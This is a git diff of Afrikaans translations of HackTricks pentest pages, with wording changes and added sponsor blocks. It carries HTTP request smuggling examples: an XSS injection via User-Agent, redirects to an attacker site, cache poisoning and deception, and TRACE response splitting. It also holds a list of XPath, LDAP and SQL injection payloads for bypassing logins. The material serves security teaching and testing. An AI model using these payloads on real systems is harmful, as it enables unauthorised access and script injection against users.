Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||||
|
@ -416,9 +424,9 @@ Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
A=
|
A=
|
||||||
```
|
```
|
||||||
Hierdie payload is gestruktureer om die kwesbaarheid te benut deur:
|
This payload is gestruktureer om die kwesbaarheid te benut deur:
|
||||||
|
|
||||||
1. 'n `POST` versoek te begin, blykbaar tipies, met 'n `Transfer-Encoding: chunked` kop om die begin van smuggling aan te dui.
|
1. 'n `POST` versoek te begin, wat blykbaar tipies is, met 'n `Transfer-Encoding: chunked` kop om die begin van smuggling aan te dui.
|
||||||
2. Volg met 'n `0`, wat die einde van die chunked boodskapliggaam aandui.
|
2. Volg met 'n `0`, wat die einde van die chunked boodskapliggaam aandui.
|
||||||
3. Dan word 'n gesmugde `GET` versoek bekendgestel, waar die `User-Agent` kop met 'n skrip, `<script>alert(1)</script>`, ingespuit word, wat die XSS aktiveer wanneer die bediener hierdie daaropvolgende versoek verwerk.
|
3. Dan word 'n gesmugde `GET` versoek bekendgestel, waar die `User-Agent` kop met 'n skrip, `<script>alert(1)</script>`, ingespuit word, wat die XSS aktiveer wanneer die bediener hierdie daaropvolgende versoek verwerk.
|
||||||
|
|
||||||
|
@ -427,7 +435,7 @@ Deur die `User-Agent` deur smuggling te manipuleer, omseil die payload normale v
|
||||||
#### HTTP/0.9
|
#### HTTP/0.9
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
In die geval dat die gebruikersinhoud in 'n antwoord met 'n **`Content-type`** soos **`text/plain`** weerspieël word, wat die uitvoering van die XSS voorkom. As die bediener **HTTP/0.9 ondersteun, mag dit moontlik wees om dit te omseil**!
|
In die geval dat die gebruikersinhoud in 'n antwoord met 'n **`Content-type`** soos **`text/plain`** weerspieël word, wat die uitvoering van die XSS voorkom. As die bediener **HTTP/0.9 ondersteun, kan dit moontlik wees om dit te omseil**!
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Die weergawe HTTP/0.9 was voorheen die 1.0 en gebruik slegs **GET** werkwoorde en **antwoord nie** met **koppe** nie, net die liggaam.
|
Die weergawe HTTP/0.9 was voorheen die 1.0 en gebruik slegs **GET** werkwoorde en **antwoord nie** met **koppe** nie, net die liggaam.
|
||||||
|
@ -436,7 +444,7 @@ In [**hierdie skrywe**](https://mizu.re/post/twisty-python), is dit misbruik met
|
||||||
|
|
||||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||||
|
|
||||||
Toepassings lei dikwels van een URL na 'n ander deur die hostname van die `Host` kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste schuif aan te vra, lei tot 'n omleiding om die schuif in te sluit:
|
Toepassings lei dikwels van een URL na 'n ander om die hostname van die `Host` kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste schuif aan te vra, lei tot 'n omleiding om die schuif in te sluit:
|
||||||
```
|
```
|
||||||
GET /home HTTP/1.1
|
GET /home HTTP/1.1
|
||||||
Host: normal-website.com
|
Host: normal-website.com
|
||||||
|
@ -460,7 +468,7 @@ GET /home HTTP/1.1
|
||||||
Host: attacker-website.com
|
Host: attacker-website.com
|
||||||
Foo: X
|
Foo: X
|
||||||
```
|
```
|
||||||
Hierdie gesmugde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvaller-beheerde webwerf omgerig word:
|
Hierdie gesmugde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvaller-beheerde webwerf omgelei word:
|
||||||
```
|
```
|
||||||
GET /home HTTP/1.1
|
GET /home HTTP/1.1
|
||||||
Host: attacker-website.com
|
Host: attacker-website.com
|
||||||
|
@ -472,17 +480,17 @@ Resultate in:
|
||||||
HTTP/1.1 301 Moved Permanently
|
HTTP/1.1 301 Moved Permanently
|
||||||
Location: https://attacker-website.com/home/
|
Location: https://attacker-website.com/home/
|
||||||
```
|
```
|
||||||
In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan moontlik die gebruiker kompromitteer deur kwaadwillige JavaScript in antwoord te dien.
|
In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan moontlik die gebruiker kompromenteer deur kwaadwillige JavaScript in reaksie te bedien.
|
||||||
|
|
||||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastruktuur inhoud kas** om prestasie te verbeter. Deur die bediener se antwoord te manipuleer, is dit moontlik om die **cache te vergiftig**.
|
Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastruktuur inhoud kas** om prestasie te verbeter. Deur die bediener se reaksie te manipuleer, is dit moontlik om die **cache te vergiftig**.
|
||||||
|
|
||||||
Voorheen het ons gesien hoe bediener-antwoorde verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](./#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html`-inhoud te lewer in antwoord op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik kan lei tot 'n Denial of Service (DoS).
|
Voorheen het ons gesien hoe bediener reaksies verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](./#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html` inhoud te lewer in reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik kan lei tot 'n Denial of Service (DoS).
|
||||||
|
|
||||||
Hierdie tegniek word veral kragtig as 'n **Open Redirect-kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
|
Hierdie tegniek word veral kragtig as 'n **Open Redirect kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
|
||||||
|
|
||||||
Hieronder is 'n illustrasie van die benutting van **cache poisoning gekombineer met 'n op-site omleiding na oop omleiding**. Die doel is om die kasinhoud van `/static/include.js` te verander om JavaScript-kode te dien wat deur die aanvaller beheer word:
|
Hieronder is 'n illustrasie van die benutting van **cache poisoning gekombineer met 'n op-site omleiding na oop omleiding**. Die doel is om die kasinhoud van `/static/include.js` te verander om JavaScript-kode te bedien wat deur die aanvaller beheer word:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: vulnerable.net
|
Host: vulnerable.net
|
||||||
|
@ -504,16 +512,16 @@ Let wel die ingebedde versoek wat op `/post/next?postId=3` teiken. Hierdie verso
|
||||||
|
|
||||||
Na suksesvolle **socket poisoning**, moet 'n **GET request** vir `/static/include.js` geïnisieer word. Hierdie versoek sal besmet wees deur die vorige **on-site redirect to open redirect** versoek en die inhoud van die skrip wat deur die aanvaller beheer word, opvra.
|
Na suksesvolle **socket poisoning**, moet 'n **GET request** vir `/static/include.js` geïnisieer word. Hierdie versoek sal besmet wees deur die vorige **on-site redirect to open redirect** versoek en die inhoud van die skrip wat deur die aanvaller beheer word, opvra.
|
||||||
|
|
||||||
Daarna sal enige versoek vir `/static/include.js` die gekapte inhoud van die aanvaller se skrip dien, wat effektief 'n breë XSS-aanval ontketen.
|
Daarna sal enige versoek vir `/static/include.js` die gekapte inhoud van die aanvaller se skrip dien, wat effektief 'n wye XSS-aanval ontketen.
|
||||||
|
|
||||||
### Gebruik HTTP request smuggling om web cache misleiding uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
### Gebruik van HTTP request smuggling om web cache misleiding uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||||
|
|
||||||
> **Wat is die verskil tussen web cache poisoning en web cache misleiding?**
|
> **Wat is die verskil tussen web cache poisoning en web cache misleiding?**
|
||||||
>
|
>
|
||||||
> * In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
|
> * In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
|
||||||
> * In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
|
> * In **web cache misleiding** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
|
||||||
|
|
||||||
Die aanvaller vervaardig 'n gesmokkelde versoek wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld:
|
Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld:
|
||||||
```markdown
|
```markdown
|
||||||
`POST / HTTP/1.1`\
|
`POST / HTTP/1.1`\
|
||||||
`Host: vulnerable-website.com`\
|
`Host: vulnerable-website.com`\
|
||||||
|
@ -524,11 +532,11 @@ Die aanvaller vervaardig 'n gesmokkelde versoek wat sensitiewe gebruiker-spesifi
|
||||||
`GET /private/messages HTTP/1.1`\
|
`GET /private/messages HTTP/1.1`\
|
||||||
`Foo: X`
|
`Foo: X`
|
||||||
```
|
```
|
||||||
As hierdie gesmokkelde versoek 'n kasinskrywing vir statiese inhoud (bv. `/someimage.png`) besoedel, mag die slagoffer se sensitiewe data van `/private/messages` onder die kasinskrywing van die statiese inhoud gebuffer wees. Gevolglik kan die aanvaller moontlik hierdie gebufferde sensitiewe data terugkry.
|
As hierdie gesmokkelde versoek 'n kasinskrywing wat bedoel is vir statiese inhoud (bv. `/someimage.png`) besoedel, mag die slagoffer se sensitiewe data van `/private/messages` onder die statiese inhoud se kasinskrywing geberg word. Gevolglik kan die aanvaller moontlik hierdie gebergde sensitiewe data terugkry.
|
||||||
|
|
||||||
### Misbruik van TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Misbruik van TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
[**In hierdie pos**](https://portswigger.net/research/trace-desync-attack) word voorgestel dat as die bediener die metode TRACE geaktiveer het, dit moontlik kan wees om dit te misbruik met 'n HTTP Request Smuggling. Dit is omdat hierdie metode enige kop wat na die bediener gestuur word, as deel van die liggaam van die antwoord sal reflekteer. Byvoorbeeld:
|
[**In hierdie pos**](https://portswigger.net/research/trace-desync-attack) word voorgestel dat as die bediener die metode TRACE geaktiveer het, dit moontlik is om dit te misbruik met 'n HTTP Request Smuggling. Dit is omdat hierdie metode enige kop wat na die bediener gestuur word, as deel van die liggaam van die antwoord sal reflekteer. Byvoorbeeld:
|
||||||
```
|
```
|
||||||
TRACE / HTTP/1.1
|
TRACE / HTTP/1.1
|
||||||
Host: example.com
|
Host: example.com
|
||||||
|
@ -547,7 +555,7 @@ X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||||
```
|
```
|
||||||
'n Voorbeeld van hoe om hierdie gedrag te misbruik, sou wees om **eers 'n HEAD-versoek te smuggle**. Hierdie versoek sal geantwoord word met slegs die **koppe** van 'n GET-versoek (**`Content-Type`** onder hulle). En smuggle **dadelik na die HEAD 'n TRACE-versoek**, wat die **gestuurde data** sal **reflekteer**.\
|
'n Voorbeeld van hoe om hierdie gedrag te misbruik, sou wees om **eers 'n HEAD-versoek te smuggle**. Hierdie versoek sal geantwoord word met slegs die **koppe** van 'n GET-versoek (**`Content-Type`** onder hulle). En smuggle **dadelik na die HEAD 'n TRACE-versoek**, wat die **gestuurde data** sal **reflekteer**.\
|
||||||
Aangesien die HEAD-antwoord 'n `Content-Length`-kop sal bevat, sal die **antwoord van die TRACE-versoek as die liggaam van die HEAD-antwoord behandel word, wat dus arbitrêre data in die antwoord reflekteer**.\
|
Aangesien die HEAD-antwoord 'n `Content-Length`-kop sal bevat, sal die **antwoord van die TRACE-versoek as die liggaam van die HEAD-antwoord behandel word, wat dus arbitrêre data in die antwoord reflekteer**.\
|
||||||
Hierdie antwoord sal na die volgende versoek oor die verbinding gestuur word, so dit kan **gebruik word in 'n gebufferde JS-lêer om byvoorbeeld arbitrêre JS-kode in te voeg**.
|
Hierdie antwoord sal na die volgende versoek oor die verbinding gestuur word, so dit kan **gebruik word in 'n gekapte JS-lêer om byvoorbeeld arbitrêre JS-kode in te voeg**.
|
||||||
|
|
||||||
### Misbruik van TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Misbruik van TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
|
@ -574,7 +582,7 @@ Content-Length: 44\r\n
|
||||||
\r\n
|
\r\n
|
||||||
<script>alert("response splitting")</script>
|
<script>alert("response splitting")</script>
|
||||||
```
|
```
|
||||||
Sal hierdie antwoorde genereer (let op hoe die HEAD-antwoord 'n Content-Length het wat die TRACE-antwoord deel van die HEAD-liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP-antwoord gesmuggle):
|
Sal hierdie antwoorde genereer (let op hoe die HEAD-antwoord 'n Content-Length het wat die TRACE-antwoord deel van die HEAD-liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP-antwoord gesmokkel):
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: text/html
|
Content-Type: text/html
|
||||||
|
@ -595,23 +603,23 @@ Content-Length: 50
|
||||||
|
|
||||||
<script>alert(“arbitrary response”)</script>
|
<script>alert(“arbitrary response”)</script>
|
||||||
```
|
```
|
||||||
### Wapen van HTTP Versoek Smuggling met HTTP Antwoord Desynchronisasie
|
### Wapen van HTTP Request Smuggling met HTTP Response Desynchronisasie
|
||||||
|
|
||||||
Het jy 'n HTTP Versoek Smuggling kwesbaarheid gevind en weet jy nie hoe om dit te benut nie. Probeer hierdie ander metode van benutting:
|
Het jy 'n HTTP Request Smuggling kwesbaarheid gevind en weet jy nie hoe om dit te benut nie. Probeer hierdie ander metode van benutting:
|
||||||
|
|
||||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Ander HTTP Versoek Smuggling Tegnieke
|
### Ander HTTP Request Smuggling Tegnieke
|
||||||
|
|
||||||
* Blaaier HTTP Versoek Smuggling (Kliëntkant)
|
* Blaaier HTTP Request Smuggling (Kliëntkant)
|
||||||
|
|
||||||
{% content-ref url="browser-http-request-smuggling.md" %}
|
{% content-ref url="browser-http-request-smuggling.md" %}
|
||||||
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* Versoek Smuggling in HTTP/2 Downgrades
|
* Request Smuggling in HTTP/2 Downgrades
|
||||||
|
|
||||||
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
|
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
|
||||||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||||
|
@ -725,17 +733,25 @@ table.add(req)
|
||||||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||||
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte hulpmiddels om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,30 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
Hierdie lys bevat **payloads om die aanmelding te omseil via XPath, LDAP en SQL-inspuiting** (in daardie volgorde).
|
Hierdie lys bevat **payloads om die aanmelding te omseil via XPath, LDAP en SQL-inspuiting** (in daardie volgorde).
|
||||||
|
|
||||||
Die manier om hierdie lys te gebruik, is om die **eerste 200 lyne as die gebruikersnaam en wagwoord in te voer.** Plaas dan die volledige lys eers in die gebruikersnaam en dan in die wagwoord invoer terwyl jy 'n wagwoord (soos _Pass1234._) of 'n bekende gebruikersnaam (soos _admin_) invoer.
|
Die manier om hierdie lys te gebruik, is om die **eerste 200 lyne as die gebruikersnaam en wagwoord in te voer.** Plaas dan die volledige lys in die gebruikersnaam eers en dan in die wagwoord invoere terwyl jy 'n wagwoord (soos _Pass1234._) of 'n bekende gebruikersnaam (soos _admin_) invoer.
|
||||||
```
|
```
|
||||||
admin
|
admin
|
||||||
password
|
password
|
||||||
|
@ -823,16 +831,25 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
||||||
%8C%A8%27)||1-- 2
|
%8C%A8%27)||1-- 2
|
||||||
%bf')||1-- 2
|
%bf')||1-- 2
|
||||||
```
|
```
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
